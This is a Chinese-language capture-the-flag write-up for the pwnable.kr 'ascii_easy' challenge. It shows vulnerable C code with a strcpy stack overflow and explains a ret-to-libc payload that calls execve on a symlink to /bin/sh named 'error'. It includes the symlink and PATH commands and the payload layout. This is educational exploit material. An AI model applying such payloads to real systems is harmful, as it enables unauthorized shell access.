Skip to content

Pwnable.kr ascii_easy

复制本地路径 | 在线编辑

程序分析

简化的代码如下

void main(char** argv, char** envp) {
    // 检查argv[1]指向的那段必须全是 ascii 可见字符
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    mmap((void*)0x5555e000, 0x4000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0);
    vuln(argv[1]);
}
void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

漏洞点

一开始我是懵的,主要的问题是:溢出的返回地址返回到哪里去??返回到栈,不知道地址,看来只能返回到 libc 的 execve 了。但是这个 libc 没有 /bin/sh,所以参数又不好搞。

执行 execve('/bin/sh', 0, 0),没有 /bin/sh 怎么办?直接公布答案,这个确实算是奇技淫巧了。在当前目录加一个 /bin/sh 的软连接,名字是在 libc 中可以找到的,比如 error,然后执行 execve('error', 0, 0) 即可。

具体流程如下

ln -s /bin/sh error
export PATH=$PATH:/home/ascii_easy

_argv = 'A'*32 + p32(call_execve) + p32(error) + p32(null) + p32(null)

总结反思

感觉这个确实太奇技淫巧了,而且没什么价值。因为实际情况不会登上服务器创立软连接并且设置环境变量。